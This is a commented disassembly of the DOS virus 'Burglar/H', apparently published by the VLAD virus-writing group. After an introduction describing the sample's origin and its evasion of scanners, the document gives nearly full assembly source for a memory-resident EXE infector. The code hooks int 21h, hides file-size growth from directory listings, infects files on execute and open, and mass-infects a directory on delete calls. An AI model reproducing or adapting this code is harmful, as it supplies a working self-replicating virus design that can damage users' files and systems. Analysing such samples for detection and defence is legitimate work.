;
; "Burglar/H" disassembly by Quantum / VLAD
;
; I had this virus handed to me by a good friend who found it on some
; warez he had downloaded. None of the virus scanners he had would
; detect it so he made me a sample and asked if I would do a disassembly
; of it. So here it is. I scanned it with tbscan and it gave me a
; dumptruck full of flags but couldn't put a name to it. AVP pro didn't
; detect anything.
;
; It's an Exe only infector. It will not infect files smaller than 256 bytes
; or bigger than 393216 bytes, files with internal overlays (file size !=
; image size + header size), an NE header, or with the letter "V" or "S" in
; its filename. It can infect files that are read only. It has FCB find
; first/next (dir) stealth and goes resident by minipulating the host's MCB.
; After hooking int 21, it infects on Execute, Open, Attribute Change, and
; Extended Open.
;
; If an infection is made it will get the system time and if the minutes field
; is 14 it will display its name on the top left corner of the text mode
; screen. On deletion of a file or check of free file space it infects all the
; Exe's in the current directory that are read only/system/hidden/archive and
; over 1000 bytes.
;
; Apart from the many millions of nops and wasted space, it is a pretty good
; virus.
;
; Note: I have no idea whether this virus is called "Burglar" and the person
; who wrote it uses the nick "H" or whether it is actually called "Burglar/H".
;
; Could whoever coded this virus contact me via email at quantum@tjava.com
;
; virus entrypoint
0005 E95A03 jmp 0362 ; jump to install code
0008 90 nop
0009 db "AT THE GRAVE OF GRANDMA..."
; dir stealth
0023 2EFF1EA700 call far cs:[00a7h] ; call int 21
0028 9C pushf
0029 3CFF cmp al,0ffh ; error ?
002B 742C jz 0059
002D 90 nop
002E 50 push ax ; save regs
002F 56 push si
0030 1E push ds
0031 2E8B362F05 mov si,cs:[052fh] ; get dta
0036 2E8E1E3105 mov ds,cs:[0531h]
003B 803CFF cmp byte ptr [si],0ffh ; extended fcb ?
003E 7503 jnz 0043
0040 83C607 add si,7 ; add 7 if so
0043 8A4417 mov al,[si+17h] ; time field
0046 241D and al,1dh
0048 3C1D cmp al,1dh ; 58 or 62 seconds ?
004A 750A jnz 0056
004C 90 nop
004D 816C1D7E04 sub word ptr [si+1dh],047eh ; sub virus size
0052 835C1F00 sbb word ptr [si+1fh],0
0056 1F pop ds ; restore regs
0057 5E pop si
0058 58 pop ax
0059 9D popf ; outty
005A CA0200 retf 0002
; Int 21 Entry Point
005D 2EC606330500 mov byte ptr cs:[0533h],00 ; clear some flag
0063 9C pushf
0064 3D78F0 cmp ax,0f078h ; service check ?
0067 90 nop
0068 7506 jnz 0070
006A 33C0 xor ax,ax ; clear ax
006C 9D popf
006D CF iret ; and return
006E 90 nop
006F 90 nop
0070 90 nop
0071 80FC11 cmp ah,11h ; fcb findfirst
0074 74AD jz 0023
0076 80FC12 cmp ah,12h ; fcb findnext
0079 74A8 jz 0023
007B 80FC3D cmp ah,3dh ; open file
007E 7442 jz 00C2
0080 80FC43 cmp ah,43h ; change attribute
0083 743D jz 00C2
0085 80FC13 cmp ah,13h ; delete file
0088 7432 jz 00BC
008A 80FC36 cmp ah,36h ; get free disk space
008D 742D jz 00BC
008F 80FC4B cmp ah,4bh ; execution
0092 90 nop
0093 90 nop
0094 742C jz 00C2
0096 80FC6C cmp ah,6ch ; extended file open
0099 7427 jz 00C2
009B 80FC1A cmp ah,1ah ; set dta
009E 750A jnz 00AA
00A0 2E89162F05 mov cs:[052fh],dx ; save new dta
00A5 2E8C1E3105 mov cs:[0531h],ds
00AA 9D popf
00AB EAA004EAE3 jmp E3EA:04A0 ; return to org int 21
00B0 90 nop
00B1 90 nop
00B2 86E0 xchg ah,al
00B4 90 nop
00B5 9C pushf
00B6 2EFF1EA700 call far cs:[00a7h] ; call old int 21
00BB C3 ret
; Get Free Disk Space, Delete File
00BC 2EC6067E0401 mov byte ptr cs:[047eh],01 ; set some flag
; Open, Change Attrib, Execute, Ext. Open
00C2 90 nop
00C3 50 push ax ; save all the regs
00C4 53 push bx
00C5 51 push cx
00C6 52 push dx
00C7 1E push ds
00C8 06 push es
00C9 56 push si
00CA 57 push di
00CB 80FC6C cmp ah,6ch ; extended open ?
00CE 7502 jnz 00D2
00D0 8BD6 mov dx,si ; ds:si = file on ext
00D2 2E803E7E0401 cmp byte ptr cs:[047eh],01 ; is that flag set ?
00D8 7406 jz 00E0
00DA E87900 call 0156 ; infect file in ds:dx
00DD EB5C jmp 013B
00DF 90 nop
;if that flag is set (on delete and get space free)
00E0 0E push CS
00E1 1F pop ds
00E2 C606340500 mov byte ptr [0534h],00; clear error
00E7 B02F mov al,2fh
00E9 E8C6FF call 00b2h ; get dta
00EC 06 push es
00ED 53 push bx
00EE B01A mov al,1ah
00F0 BAE504 mov dx,04e5h
00F3 E8BCFF call 00B2 ; set dta
00F6 B04E mov al,4eh
00F8 B92700 mov cx,0027h ; read only/system/hidden/archive
00FB BA2704 mov dx,0427h ; "*.*"
00FE E8B1FF call 00B2 ; find first file
0101 7230 jb 0133
0103 A0FB04 mov al,[04fbh] ; file time
0106 241D and al,1dh
0108 3C1D cmp al,1dh ; seconds = 58 or 62
010A 7423 jz 012F
010C 833E010500 cmp word ptr [0501h],+00 ; higher of filesize = 0
0111 7508 jnz 011B
0113 813EFF04E803 cmp word ptr [04ffh],03E8 ; lower of filesize >= 3e8h
0119 7214 jb 012F
011B C70625050305 mov word ptr [0525h],0503
0121 BA0305 mov dx,0503h ; file name in dta
0124 E82F00 call 0156 ; infect file at ds:dx
0127 2E803E340503 cmp byte ptr cs:[0534h],03 ; error 3 ?
012D 7404 jz 0133
012F B04F mov al,4fh ; next file
0131 EBCB jmp 00FE
0133 5A pop dx
0134 1F pop ds
0135 9C pushf
0136 B41A mov ah,1ah ; set dta back
0138 CD21 int 21
013A 9D popf
013B 5F pop di
013C 5E pop si
013D 07 pop es
013E 1F pop ds
013F 5A pop dx ; restore regs
0140 59 pop cx
0141 5B pop bx
0142 58 pop ax
0143 2EC6067E0400 mov byte ptr cs:[047eh],00 ; clear that flag
0149 2E803E330501 cmp byte ptr cs:[0533h],01
014F 7502 jnz 0153
0151 33DB xor bx,bx
0153 E954FF jmp 00AA ; return to org int 21
; check if file is suitable and if so infect it
0156 8BF2 mov si,dx
0158 89162505 mov cs:[0525h],dx ; save dx
015D 90 nop
015E AC lodsb ; get byte of filename
015F 0AC0 or al,al ; zero ?
0161 740F jz 0172
0163 3C5C cmp al,5ch ; "\" ?
0165 7404 jz 016B
0167 3C3A cmp al,3ah ; ":" ?
0169 75F3 jnz 015E
016B 2E89362505 mov cs:[0525h],si ; dx = after \ or :
0170 EBEC jmp 015E
0172 80FC4B cmp ah,4bh ; executing ?
0175 90 nop
0176 740F jz 0187
0178 817CFB2E45 cmp word ptr [si-5],452eh ; Exe ?
017D 7507 jnz 0186
017F 817CFD5845 cmp word ptr [si-3],4558h
0184 7401 jz 0187
0186 C3 ret ; nope, get out
0187 0E push cs
0188 07 pop es
0189 2E8B362505 mov si,cs:[0525h] ; filename (no path)
018E BF0E04 mov di,040eh ; invalid startings
0191 AD lodsw ; get first 2 letters
0192 B90700 mov cx,7 ; 7 invalid startings
0195 F2AF repnz scasw ; is it one of em ?
0197 7417 jz 01B0 ; yer.. get out
0199 2E8B362505 mov si,cs:[0525h] ; filename (no path)
019E AC lodsb ; get char from filename
019F 3C00 cmp al,0 ; zero ?
01A1 740A jz 01AD
01A3 3C56 cmp al,56h ; "V" ?
01A5 7409 jz 01B0
01A7 3C53 cmp al,53h ; "S" ?
01A9 7405 jz 01B0
01AB EBF1 jmp 019E
01AD E80100 call 01B1 ; infect the file
01B0 C3 ret
; infect file in ds:dx
01B1 8CDB mov bx,ds ; bx = segment of filename
01B3 33C0 xor ax,ax
01B5 8ED8 mov ds,ax ; int table
01B7 FF369000 push [90h] ; save int 24
01BB FF369200 push [92h]
01BF C70690002B04 mov word ptr [90h],042bh; set int 24 to null handler
01C5 8C0E9200 mov [92h],cs
01C9 8EDB mov ds,bx ; restore segment of filename
01CB B84300 mov ax,43h
01CE E8E1FE call 00B2 ; get attribute
01D1 1E push ds
01D2 52 push dx
01D3 51 push cx ; save attributes
01D4 33C9 xor cx,cx ; clear attributes
01D6 B84301 mov ax,0143h
01D9 E8D6FE call 00B2 ; set attribute
01DC 7308 jnb 01E6 ; error ?
01DE 2EFE063405 inc byte ptr cs:[0534h]; yes, inc error
01E3 EB65 jmp 024A ; get out
01E5 90 nop
01E6 B83D02 mov ax,023dh
01E9 E8C6FE call 00B2 ; open read/write
01EC 7309 jnb 01F7 ; error ?
01EE 2EFE063405 inc byte ptr cs:[0534h]; yes, inc error
01F3 EB55 jmp 024A ; get out
01F5 90 nop
01F6 90 nop
01F7 93 xchg bx,ax ; file handle in bx
01F8 B85700 mov ax,57h ; get file time
01FB E8B4FE call 00B2
01FE 2E890E2905 mov cs:[0529h],cx ; save file time
0203 52 push dx ; save file date
0204 90 nop
0205 0E push cs ; cs=ds=es
0206 1F pop ds
0207 0E push cs
0208 07 pop es
0209 B03F mov al,3fh
020B BA7F04 mov dx,047fh
020E B96600 mov cx,66h
0211 E89EFE call 00B2 ; read 66h bytes
0214 A17F04 mov ax,[047fh] ; get first 2 bytes
0217 90 nop
0218 3D5A4D cmp ax,4d5ah ; ZM ?
021B 90 nop
021C 7409 jz 0227
021E 3D4D5A cmp ax,5a4dh ; MZ ?
0221 90 nop
0222 7403 jz 0227
0224 EB14 jmp 023A ; nope, we outty
0226 90 nop
0227 A09304 mov al,[0493h] ; get IP
022A 3478 xor al,78h ; xor with 78
022C 38069104 cmp [0491h],al ; same as checksum ?
0230 7408 jz 023A ; yes, file already infected
0232 EB2E jmp 0262
0234 90 nop
0235 830E29051D or word ptr [0529h],+1dh ; infection marker
023A 5A pop dx ; restore date
023B 8B0E2905 mov cx,[0529h] ; restore time
023F B85701 mov ax,0157h
0242 E86DFE call 00B2 ; set date/time
0245 B03E mov al,3eh
0247 E868FE call 00B2 ; close file
024A B84301 mov ax,0143h
024D 59 pop cx ; restore attribs
024E 5A pop dx ; restore filename
024F 1F pop ds
0250 E85FFE call 00B2 ; set attributes
0253 33C0 xor ax,ax
0255 8ED8 mov ds,ax ; int table
0257 8F069200 pop [92h] ; restore int 24
025B 8F069000 pop [90h]
025F 0E push cs ; ds=cs
0260 1F pop ds
0261 C3 ret
0262 BE7F04 mov si,047fh ; si = start of MZ header
0265 90 nop
0266 C70627050000 mov word ptr [0527h],0000 ; clear something
026C 8B543C mov dx,[si+3ch]
026F 8B4C3E mov cx,[si+3eh]
0272 B80042 mov ax,4200h
0275 CD21 int 21 ; goto secondary header offset
0277 B90200 mov cx,2
027A BA2705 mov dx,0527h
027D B43F mov ah,3fh
027F CD21 int 21 ; read in 2 bytes
0281 813E27054E45 cmp word ptr [0527h],454eh ; "NE" ?
0287 7502 jnz 028B
0289 EBAF jmp 023A
028B B002 mov al,2
028D E8C900 call 0359 ; goto end of file
0290 83FA06 cmp dx,6
0293 77A5 JA 023A ; is file too big ?
0295 0BD2 or dx,dx
0297 7507 jnz 02A0 ; file > 65535 bytes ?
0299 3D0001 cmp ax,0100h
029C 7702 JA 02A0 ; file > 256 bytes ?
029E EB9A jmp 023A ; no, get outty
02A0 52 push dx ; save the file size
02A1 50 push ax
02A2 8B4404 mov ax,[si+4] ; size of image / 512
02A5 8B7C02 mov di,[si+2] ; size of image % 512
02A8 0BFF or di,di
02AA 7401 jz 02AD ; even div by 512 ?
02AC 48 dec ax ; no, dec num 512 paras
02AD B90002 mov cx,0200h
02B0 F7E1 mul cx ; mul by 512
02B2 03C7 add ax,di
02B4 83D200 adc dx,0 ; dx:ax = image size
02B7 5F pop di
02B8 3BF8 cmp di,ax
02BA 5F pop di
02BB 75E1 jnz 029E ; are there overlays ?
02BD 3BFA cmp di,dx
02BF 75DD jnz 029E
02C1 50 push ax ; save filesize
02C2 52 push dx
02C3 56 push si
02C4 BE8D04 mov si,048dh
02C7 BF0304 mov di,0403h
02CA B90A00 mov cx,0ah
02CD F3A4 rep movsb ; save org cs:ip and ss:sp
02CF 5E pop si
02D0 33FF xor di,di
02D2 E81D01 call 03F2 ; encrypt that org values
02D5 B91000 mov cx,10h
02D8 F7F1 div cx ; div size by 16
02DA 2B4408 sub ax,[si+8] ; sub size of header
02DD 894416 mov [si+16h],ax ; store new cs
02E0 89166003 mov [0360h],dx ; self modify delta offset
02E4 895414 mov [si+14h],dx ; store new ip
02E7 81C27E04 add dx,047eh ; add virus size
02EB 895410 mov [si+10h],dx ; setup stack pointer
02EE 89440E mov [si+0Eh],ax
02F1 5A pop dx ; restore file size
02F2 58 pop ax
02F3 057E04 add ax,047eh ; add virus size
02F6 83D200 adc dx,0
02F9 B90002 mov cx,0200h
02FC F7F1 div cx ; div by 512
02FE 0BD2 or dx,dx
0300 7401 jz 0303 ; no remiander ?
0302 40 inc ax ; inc number of 512 paras
0303 894404 mov [si+4],ax ; store image size
0306 895402 mov [si+2],dx
0309 8A4414 mov al,[si+14h]
030C 3478 xor al,78h
030E 884412 mov [si+12h],al ; add infection check
0311 33D2 xor dx,dx
0313 B97E04 mov cx,047eh
0316 B440 mov ah,40h
0318 CD21 int 21 ; write virus to file
031A C606340503 mov byte ptr [0534h],3 ; set error to 3
031F B000 mov al,0
0321 E83500 call 0359 ; back to start of file
0324 BA7F04 mov dx,047fh
0327 B91800 mov cx,18h
032A B440 mov ah,40h
032C CD21 int 21 ; write MZ header
032E B42C mov ah,2ch
0330 CD21 int 21 ; get time
0332 80F90E cmp cl,0Eh ; minutes = 14 ?
0335 751F jnz 0356
0337 BE1E04 mov si,041eh
033A B800B8 mov ax,0B800h
033D 8ED8 mov ds,ax ; text video segment
033F 33FF xor di,di ; at the top
0341 B90900 mov cx,9 ; 9 chars
0344 2E cs:
0345 8A04 mov al,[si] ; load a char
0347 46 inc si
0348 8805 mov [di],al ; store in mem
034A 47 inc di
034B C6058F mov byte ptr [di],8fh ; store some colour
034E 47 inc di
034F E2F3 loop 0344 ; char out loop
0351 B97777 mov cx,7777h
0354 E2FE loop 0354 ; delay a few ms'
0356 E9DCFE jmp 0235
0359 33C9 xor cx,cx
035B 33D2 xor dx,dx
035D B442 mov ah,42h
035F CD21 int 21 ; lseek
0361 C3 ret
0362 90 nop
0363 90 nop
0364 BE0500 mov si,5 ; delta offset
0367 8BFE mov di,si
0369 E88600 call 03F2 ; some encryption
036C 56 push si ; save si
036D B430 mov ah,30h ; ah = 30
036F 80C448 add ah,48h ; ah = 78
0372 B0F0 mov al,0f0h ; ax = 78f0h
0374 86E0 xchg ah,al ; ax = f078h
0376 CD21 int 21 ; residency check
0378 0BC0 or ax,ax ; ax = 0 ?
037A 7451 jz 03CD ; go to out
037C BF7777 mov di,7777h ; some big value
037F 90 nop ; doesnt do much
0380 4F dec di ; does something
0381 90 nop ; doesnt do anything
0382 90 nop ; neither does this
0383 75FA jnz 037F ; do nothing loop
0385 1E push ds ; save ds
0386 8CC3 mov bx,es ; bx = psp
0388 4B dec bx ; bx = mcb
0389 8EDB mov ds,bx ; ds = mcb
038B BB0200 mov bx,2
038E 807FFE5A cmp byte ptr [bx-2],5A ; check for 'Z' in mcb
0392 7536 jnz 03CA ; nope -> get out
0394 B95600 mov cx,56h ; virus size / 16 + 1
0397 294F01 sub [bx+1],cx
039A 294F10 sub [bx+10h],cx
039D 8E4710 mov es,[bx+10h] ; es = new segment
03A0 33C0 xor ax,ax
03A2 8ED8 mov ds,ax ; ds = int table
03A4 C5878200 lds ax,[bx+82h] ; (bx+82)/4 = 21h
03A8 2E8984A700 mov cs:[si+0a7h],ax ; save old address
03AD 2E8C9CA900 mov cs:[si+0a9h],ds
03B2 0E push cs
03B3 1F pop ds ; ds = cs
03B4 33FF xor di,di
03B6 B93505 mov cx,0535h ; virus size is 535h bytes
03B9 FC cld
03BA F3A4 rep movsb ; move virus there
03BC 8ED9 mov ds,cx ; ds = int table
03BE FA cli
03BF 8C878400 mov [bx+84h],es ; move new int 21
03C3 C78782005800 mov word ptr [bx+82h],58h
03C9 FB sti
03CA 07 pop es ; restore ds into es
03CB 06 push es
03CC 1F pop ds ; es into ds
03CD 90 nop
03CE 5E pop si ; restore delta offset
03CF 90 nop
03D0 8CC3 mov bx,es ; bx = psp
03D2 83C310 add bx,10h ; bx = image base
03D5 2E019C0B04 add cs:[si+40bh],bx ; fixup org host
03DA 2E019C0304 add cs:[si+403h],bx ; fixup org stack
03DF 2E8E940304 mov ss,cs:[si+403h] ; set up org stack
03E4 2E8BA40504 mov sp,cs:[si+405h]
03E9 33C0 xor ax,ax ; fuxor cmd line
03EB 33DB xor bx,bx ; fuxor load module memory size
03ED 2EFFAC0904 jmp far cs:[si+409h] ; back to org host
03F2 50 push ax ; encryption routine
03F3 81C70304 add di,403h ; relocate
03F7 B90A00 mov cx,0Ah ; bytes needed for return to host
03FA B87677 mov ax,7776h ; xor value
03FD 90 nop
03FE 2E3105 xor cs:[di],ax ; trivial word xor
0401 47 inc di
0402 90 nop
0403 E2F9 loop 03FE
0405 58 pop ax
0406 C3 ret
0407 90 nop
; encrypted block
0408 7701 ; org ss
040A 0100 ; org sp
040C 0101 ; checksum
040E 0101 ; org IP
0410 0101 ; org cs
; end encrypted block
0412 0e7h ; beats me
0413 db "CLHWTBF-WCTK" ; Chars that filenames cant start with
041F 0000
0421 0000
0423 db "Burglar/H" ; id string
042C db "*.*",0
; null int 24 handler
0430 32C0 xor al,al
0432 CF iret
; rest of this looks like wasted space to me
0433 0000
0435 0000
0437 0000
0439 0000
043B 0000
043D 0000
043F 0000
0441 0000
0443 0000
0445 0000
0447 0000
0449 0000
044B 0000
044D 0000
044F 0000
0451 0000
0453 0000
0455 0000
0457 0000
0459 0000
045B 0000
045D 0000
045F 0000
0461 0000
0463 0000
0465 0000
0467 0000
0469 78F0
046B 0000
046D 0E
046E 0401
0470 0000
0472 00970397
0476 03067000
047A 0000
047C 006203
047F BF2629
0482 20E1
- VLAD AF INDEX -